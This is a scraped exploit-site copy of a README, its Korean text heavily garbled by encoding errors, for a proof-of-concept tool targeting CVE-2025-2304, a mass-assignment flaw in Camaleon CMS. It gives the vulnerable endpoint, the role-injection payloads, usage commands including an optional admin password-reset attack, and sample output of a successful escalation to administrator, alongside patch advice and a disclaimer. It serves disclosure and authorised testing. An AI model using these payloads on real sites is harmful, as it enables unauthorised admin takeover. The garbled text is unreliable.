## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-D3VN0MI-CVE-2025-2304-POC
# CVE-2025-2304 PoC - Camaleon CMS ๊ถํ ์์น
   
**CVE-2025-2304** ์ ๋ํ ๊ฐ๋
์ฆ๋ช
(PoC) ์ต์คํ๋ก์์
๋๋ค. ์ด๋ Camaleon CMS์ ์ค์ํ ์ง๋ ํ ๋น ์ทจ์ฝ์ ์ผ๋ก, ๋ฎ์ ๊ถํ์ ์ฌ์ฉ์๊ฐ ๊ด๋ฆฌ์๋ก ๊ถํ ์์นํ ์ ์๊ฒ ํฉ๋๋ค.
root@kitploit:~
โโโโโโโ โโโโโโโ โโโ โโโโโโโ โโโ โโโโโโโ โโโโ โโโโโโโ
โโโโโโโโโโโโโโโโโโโ โโโโโโโโ โโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโ โโโ โโโโโโโโโโ โโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ โโโ โโโโโโ
โโโโโโโ โโโโโโโ โโโโโ โโโ โโโโโ โโโโโโโ โโโ โโโโโโ
## ๐ ๋ชฉ์ฐจ
* ๊ฐ์
* ์ทจ์ฝ์ ์์ธ
* ๊ธฐ๋ฅ
* ์ค์น
* ์ฌ์ฉ๋ฒ
* ์์
* ์ํฅ๋ฐ๋ ๋ฒ์
* ์ํ ์กฐ์น
* ๋ฉด์ฑ
์กฐํญ
* ์ฐธ๊ณ ์๋ฃ
* ์ ์
## ๐ ๊ฐ์
CVE-2025-2304๋ Camaleon CMS์ `UsersController`์ ์๋ `updated_ajax` ๋ฉ์๋์์ ๋ฐ๊ฒฌ๋ **์ค์ํ ์ง๋ ํ ๋น ์ทจ์ฝ์ ** ์
๋๋ค. ์ด ์ทจ์ฝ์ ์ Rails์ ์ํํ `permit!` ๋ฉ์๋๋ฅผ ์ฌ์ฉํ์ฌ ๋ชจ๋ ๋งค๊ฐ๋ณ์๋ฅผ ํํฐ๋ง ์์ด ํต๊ณผ์ํค๋ ๋ฐ์ ๋น๋กฏ๋ฉ๋๋ค.
์ด PoC๋ ๋ฎ์ ๊ถํ์ ๊ฐ์ง ์ธ์ฆ๋ ์ฌ์ฉ์๊ฐ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ์์
์ค์ ์น์ธ๋์ง ์์ ๋งค๊ฐ๋ณ์๋ฅผ ์ฃผ์
ํ์ฌ ๊ด๋ฆฌ์ ์ญํ ๋ก ๊ถํ ์์นํ ์ ์๋ ๋ฐฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค.
**CVSS ์ ์:** 9.4 (์น๋ช
์ )
## ๐ ์ทจ์ฝ์ ์์ธ
### ๊ทผ๋ณธ ์์ธ
์ทจ์ฝํ ์ฝ๋๋ `params.require(:user).permit!`๋ฅผ ์ฌ์ฉํ์ฌ **๋ชจ๋ ** ์ฌ์ฉ์ ์ ๊ณต ๋งค๊ฐ๋ณ์๋ฅผ ๊ฒ์ฆ ์์ด ์๋ฝํฉ๋๋ค:
root@kitploit:~
def updated_ajax
user_params = params.require(:user).permit! # ์ํ!
current_user.update(user_params)
end
### ์ต์คํ๋ก์
๊ณต๊ฒฉ์๋ ํฉ๋ฒ์ ์ธ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ํ๋์ ํจ๊ป `user[role]=admin`๊ณผ ๊ฐ์ ์ถ๊ฐ ๋งค๊ฐ๋ณ์๋ฅผ ์ฃผ์
ํ์ฌ ์ ํ๋ฆฌ์ผ์ด์
์ด ์ฌ์ฉ์์ ์ญํ ์ ๊ด๋ฆฌ์๋ก ์
๋ฐ์ดํธํ๋๋ก ๋ง๋ค ์ ์์ต๋๋ค.
**๊ณต๊ฒฉ ๋ฒกํฐ:**
1. ๋ฎ์ ๊ถํ์ ์ฌ์ฉ์(์: "client" ์ญํ )๋ก ์ธ์ฆ
2. ์กฐ์๋ POST ์์ฒญ์ `/admin/users/{id}/updated_ajax`๋ก ์ ์ก
3. `user[role]=admin` ๋งค๊ฐ๋ณ์ ์ฃผ์
4. ์ฌ์ฉ์ ์ญํ ์ด ๊ด๋ฆฌ์๋ก ์์น
## โจ ๊ธฐ๋ฅ
* โ
**์์ ํ ํ
์คํธ** : ์ต์คํ๋ก์ ๊ณผ์ ์์ ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ ์ ์ง
* โ
**๋ค์ค ํ์ด๋ก๋** : 7๊ฐ์ง ์ด์์ ๋ค์ํ ์ฃผ์
๊ธฐ๋ฒ ํ
์คํธ
* โ
**๋ฒ์ ํ์ง** : ์ทจ์ฝํ CMS ๋ฒ์ ์๋ ํ์ง
* โ
**๋นํ๊ดด ์ต์
** : ๊ฐ์ฅ ์์ ํ ํ
์คํธ๋ฅผ ์ํ `--no-password-field` ํ๋๊ทธ
* โ
**ํ๋ก์ ์ง์** : ์๋ ๋ถ์์ ์ํด Burp Suite/ZAP๊ณผ ํตํฉ
* โ
**์์ธ ๋ชจ๋** : ๋๋ฒ๊น
์ ์ํ ์์ธ ์ถ๋ ฅ
* โ
**๊ด๋ฆฌ์ ํ์ทจ** : ์ ํ์ ๊ด๋ฆฌ์ ๋น๋ฐ๋ฒํธ ์ด๊ธฐํ ๊ณต๊ฒฉ
* โ
**์์ ๊ตฌ๋ถ ์ถ๋ ฅ** : ์ฑ๊ณต/์คํจ์ ๋ํ ๋ช
ํํ ์๊ฐ์ ํ์
## ๐ฆ ์ค์น
### ์๊ตฌ ์ฌํญ
* Python 3.7+
* pip (Python ํจํค์ง ๊ด๋ฆฌ์)
### ์ ์ฅ์ ํด๋ก
root@kitploit:~
git clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc
### ์์กด์ฑ ์ค์น
root@kitploit:~
pip install -r requirements.txt
**๋๋ ์๋ ์ค์น:**
root@kitploit:~
pip install requests beautifulsoup4
## ๐ ์ฌ์ฉ๋ฒ
### ๊ธฐ๋ณธ ๊ตฌ๋ฌธ
root@kitploit:~
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
### ๋ช
๋ น์ค ์ต์
root@kitploit:~
positional arguments:
target ๋์ URL (์: http://target.com)
required arguments:
-u, --username ์ธ์ฆ์ ์ํ ๊ธฐ์กด ์ฌ์ฉ์ ์ด๋ฆ
-p, --password ์ฌ์ฉ์ ๋น๋ฐ๋ฒํธ
optional arguments:
-h, --help ๋์๋ง ๋ฉ์์ง ํ์ ๋ฐ ์ข
๋ฃ
-v, --verbose ์์ธ ์ถ๋ ฅ (๋ชจ๋ ์์ฒญ ํ์)
--proxy PROXY ํธ๋ํฝ ๊ฒ์ฌ๋ฅผ ์ํ HTTP ํ๋ก์ (์: http://127.0.0.1:8080)
--no-password-field ๋น๋ฐ๋ฒํธ ํ๋ ์์ด ์ต์คํ๋ก์ ํ
์คํธ (๊ฐ์ฅ ์์ )
--skip-admin-test ํ๊ดด์ ๊ด๋ฆฌ์ ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ํ
์คํธ ๊ฑด๋๋ฐ๊ธฐ
## ๐ ์์
### ํ์ค ํ
์คํธ (๊ถ์ฅ)
๋น๋ฐ๋ฒํธ๋ฅผ ์ ์งํ๋ฉด์ ๊ธฐ์กด ์ฌ์ฉ์ ์๊ฒฉ ์ฆ๋ช
์ผ๋ก ํ
์คํธ:
root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
### ๊ฐ์ฅ ์์ ํ ํ
์คํธ (๋น๋ฐ๋ฒํธ ํ๋ ์์)
์ต์คํ๋ก์ ํ์ด๋ก๋์ ๋น๋ฐ๋ฒํธ ํ๋๋ฅผ ํฌํจํ์ง ์๊ณ ํ
์คํธ:
root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
### Burp Suite ํ๋ก์ ์ฌ์ฉ
Burp Suite๋ฅผ ํตํด ํธ๋ํฝ์ ๋ผ์ฐํ
ํ์ฌ ์๋ ๊ฒ์ฌ:
root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
### ์์ธ ๋ชจ๋
๋ชจ๋ ์์ฒญ๊ณผ ์๋ต์ ๋ณด์ฌ์ฃผ๋ ์์ธ ์ถ๋ ฅ ํ์ฑํ:
root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
### ํ๊ดด์ ํ
์คํธ ๊ฑด๋๋ฐ๊ธฐ
๊ถํ ์์น๋ง ํ
์คํธํ๊ณ ๊ด๋ฆฌ์ ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ์ ๊ฑด๋๋ฐ๊ธฐ:
root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
## ๐ ์ํ ์ถ๋ ฅ
root@kitploit:~
โโโโโโโ โโโโโโโ โโโ โโโโโโโ โโโ โโโโโโโ โโโโ โโโโโโโ
โโโโโโโโโโโโโโโโโโโ โโโโโโโโ โโโโโโโโโโโโโโโโโ โโโโโโโโ
โโโ โโโ โโโโโโโโโโ โโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโ โโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโโโโโ โโโ โโโโโโ
โโโโโโโ โโโโโโโ โโโโโ โโโ โโโโโ โโโโโโโ โโโ โโโโโโ
============================================================
CVE-2025-2304 - Camaleon CMS ๊ถํ ์์น PoC
์ง๋ ํ ๋น ์ทจ์ฝ์ ํ
์คํฐ
์ ์: d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================
[*] ๋์: http://target.com
[*] ์ฌ์ฉ์ ์ด๋ฆ: testuser
[*] ๋น๋ฐ๋ฒํธ: **********
[*] testuser๋ก ๋ก๊ทธ์ธ ์ค...
[+] ๋ก๊ทธ์ธ ์ฑ๊ณต
[*] CMS ๋ฒ์ ํ์ธ ์ค...
[*] ํ์ง๋ ๋ฒ์ : 2.9.0
[+] ๋ฒ์ ์ด ์ทจ์ฝํจ (< 2.9.1)
============================================================
[*] CVE-2025-2304 ์ง๋ ํ ๋น ์ทจ์ฝ์ ํ
์คํธ ์ค
============================================================
[*] ๋์ ์ฌ์ฉ์: testuser (ID: 7)
[*] ํ์ฌ ์ญํ : Client (client)
[*] ๋น๋ฐ๋ฒํธ๋ ๋ณ๊ฒฝ๋์ง ์์ต๋๋ค.
[1/7] ํ
์คํธ: AJAX ์๋ํฌ์ธํธ - user[role]
โ ์คํจ
[2/7] ํ
์คํธ: AJAX ์๋ํฌ์ธํธ - password[role]
============================================================
[+] ์ต์คํ๋ก์ ์ฑ๊ณต!
============================================================
[+] ๊ถํ ์์น: Client โ Administrator
[+] ์ทจ์ฝํ ์๋ํฌ์ธํธ: /admin/users/7/updated_ajax
[+] ์๋ ํ์ด๋ก๋: {'password[role]': 'admin'}
[+] ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ๋์ง ์์: ์ฌ์ฉ์๊ฐ ์ ์์ ์ผ๋ก ๋ก๊ทธ์ธ ๊ฐ๋ฅ
[+] CVE-2025-2304 ํ์ธ๋จ!
[โ] CVE-2025-2304 ์ทจ์ฝ์ ํ์ธ๋จ
## ๐ฏ ์ํฅ๋ฐ๋ ๋ฒ์
๋ฒ์ | ์ํ
---|---
< 2.9.1| โ **์ทจ์ฝํจ**
โฅ 2.9.1| โ
**ํจ์น๋จ**
**๊ตฌ์ฒด์ ์ผ๋ก ์ทจ์ฝํ ๋ฒ์ :**
* Camaleon CMS 2.9.0
* Camaleon CMS 2.8.x ๋ฐ ์ด์
## ๐ก๏ธ ์ํ ์กฐ์น
### ์ฆ์ ์กฐ์น
1. **๋ฒ์ 2.9.1 ์ด์์ผ๋ก ์
๊ทธ๋ ์ด๋**
root@kitploit:~
gem update camaleon_cms
2. **์ฌ์ฉ์ ๊ณ์ ๊ฐ์ฌ**
* ์์์น ๋ชปํ ๊ถํ ๋ณ๊ฒฝ ํ์ธ
* ์ฌ์ฉ์ ์ญํ ์์ ๋ก๊ทธ ๊ฒํ
* `/users/*/updated_ajax`์ ๋ํ ์์ฌ์ค๋ฌ์ด POST ์์ฒญ ํ์ธ
3. **๋น๋ฐ๋ฒํธ ์ฌ์ค์ ๊ฐ์ ** (์นจํด๋ ๊ฒฝ์ฐ)
* ๋ชจ๋ ๊ถํ ์๋ ๊ณ์ ์ ๋น๋ฐ๋ฒํธ ์ฌ์ค์
* ๊ธฐ์กด ์ธ์
๋ฌดํจํ
### ์ฅ๊ธฐ์ ์ธ ์๋ฐฉ
**์์ ํ ์ฝ๋ ํจํด:**
์ํํ `permit!`๋ฅผ ๋ช
์์ ํ์ฉ ๋ชฉ๋ก์ผ๋ก ๋์ฒด:
root@kitploit:~
# ์ด์ (์ทจ์ฝํจ)
def updated_ajax
user_params = params.require(:user).permit!
current_user.update(user_params)
end
# ์ดํ (์์ ํจ)
def updated_ajax
user_params = params.require(:user).permit(:password, :password_confirmation)
current_user.update(user_params)
end
**์ถ๊ฐ ๋ณด์ ์กฐ์น:**
* ์ ํ๋ฆฌ์ผ์ด์
์ ๋ฐ์ ๊ฑธ์ณ ๊ฐ๋ ฅํ ๋งค๊ฐ๋ณ์ ํํฐ๋ง ๊ตฌํ
* ์ค์ ์์
์ ์ญํ ๋ณ๊ฒฝ ์น์ธ ์ํฌํ๋ก ์ถ๊ฐ
* ๊ถํ ๋ณ๊ฒฝ์ ๋ํ ๊ฐ์ฌ ๋ก๊น
ํ์ฑํ
* ์ต์ ๊ถํ ์์น ์ฌ์ฉ
* WAF ๊ท์น์ ํตํด ์ง๋ ํ ๋น ์๋ ๋ชจ๋ํฐ๋ง
## โ ๏ธ ๋ฉด์ฑ
์กฐํญ
์ด ๋๊ตฌ๋ **๊ต์ก ๋ฐ ์น์ธ๋ ๋ณด์ ํ
์คํธ ๋ชฉ์ ์ผ๋ก๋ง** ์ ๊ณต๋ฉ๋๋ค.
**๋ฒ์ ๊ณ ์ง:**
* ์์ ์ด ์์ ํ๊ฑฐ๋ ๋ช
์์ ์ธ ์๋ฉด ํ๊ฐ๋ฅผ ๋ฐ์ ์์คํ
์์๋ง ์ด ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ญ์์ค
* ์ปดํจํฐ ์์คํ
์ ๋ํ ๋ฌด๋จ ์ ๊ทผ์ ๋ค์๊ณผ ๊ฐ์ ๋ฒ๋ฅ ์ ๋ฐ๋ผ ๋ถ๋ฒ์
๋๋ค:
* ๋ฏธ๊ตญ์ ์ปดํจํฐ ์ฌ๊ธฐ ๋ฐ ๋จ์ฉ ๋ฒ(CFAA)
* ์๊ตญ์ ์ปดํจํฐ ์ค์ฉ๋ฒ 1990
* ๊ธฐํ ๊ดํ ์ง์ญ์ ์ ์ฌ ๋ฒ๋ฅ
* ์ ์๋ ์ด ๋๊ตฌ์ ์ค์ฉ์ด๋ ์ํด์ ๋ํด ์ด๋ ํ ์ฑ
์๋ ์ง์ง ์์ต๋๋ค
* ์ฌ์ฉ์๋ ์์ ์ ํ๋์ ๋ํด ๋จ๋
์ผ๋ก ์ฑ
์์ ์ง๋๋ค
**์ค๋ฆฌ์ ์ฌ์ฉ:**
* ํ
์คํธ ์ ์ ์ ์ ํ ์น์ธ์ ๋ฐ์ผ์ญ์์ค
* ์ฑ
์ ์๋ ๊ณต๊ฐ ๊ดํ์ ๋ฐ๋ฅด์ญ์์ค
* ๋ฒ์๊ฐ ์น์ธ๋ ์นจํฌ ํ
์คํธ ๊ณ์ฝ์์ ์ฌ์ฉํ์ญ์์ค
* ํต์ ๋ ์ค์ต ํ๊ฒฝ์์๋ง ๊ต์ก ๋ชฉ์ ์ผ๋ก ์ฌ์ฉํ์ญ์์ค
## ๐ ์ฐธ๊ณ ์๋ฃ
* **CVE ํญ๋ชฉ:** CVE-2025-2304
* **GHSA ๊ถ๊ณ :** GHSA-rp28-mvq3-wf8j
* **๋ฒค๋ ๊ถ๊ณ :** Tenable Security Research TRA-2025-09
* **ํจ์น ์ปค๋ฐ:** GitHub Commit 179fd6b
* **๋ฆด๋ฆฌ์ค ๋
ธํธ:** Camaleon CMS 2.9.1
## ๐ค ์ ์
**d3vn0mi**
* GitHub: @d3vn0mi
* ๊ฐ์ธ ์น์ฌ์ดํธ: @d3vn0mi
* ๊ฐ์ธ ๋ธ๋ก๊ทธ: @d3vn0mi
## ๐ ๋ผ์ด์ ์ค
์ด ํ๋ก์ ํธ๋ MIT ๋ผ์ด์ ์ค์ ๋ฐ๋ผ ๋ผ์ด์ ์ค๊ฐ ๋ถ์ฌ๋ฉ๋๋ค. ์์ธํ ๋ด์ฉ์ LICENSE ํ์ผ์ ์ฐธ์กฐํ์ญ์์ค.
## ๐ค ๊ธฐ์ฌ
๊ธฐ์ฌ, ์ด์, ๊ธฐ๋ฅ ์์ฒญ์ ์ธ์ ๋ ํ์ํฉ๋๋ค!
์ด์ ํ์ด์ง๋ฅผ ํ์ธํด ์ฃผ์ธ์.
## โญ ์ง์ง ํ์
์ด ํ๋ก์ ํธ๊ฐ ๋์์ด ๋์๋ค๋ฉด โญ์ ๋๋ฌ ์ฃผ์ธ์!
* * *
**์ฐธ๊ณ :** ์ด ์ ์ฅ์๋ ๋ณด์ ์ฐ๊ตฌ ๋ฐ ๊ต์ก ๋ชฉ์ ์ ์ํ ๊ฒ์
๋๋ค. ํญ์ ์ฑ
์ ์๋ ๊ณต๊ฐ๋ฅผ ์ค์ฒํ๊ณ ํ
์คํธ ์ ์ ์ ์ ํ ์น์ธ์ ๋ฐ์ผ์ญ์์ค.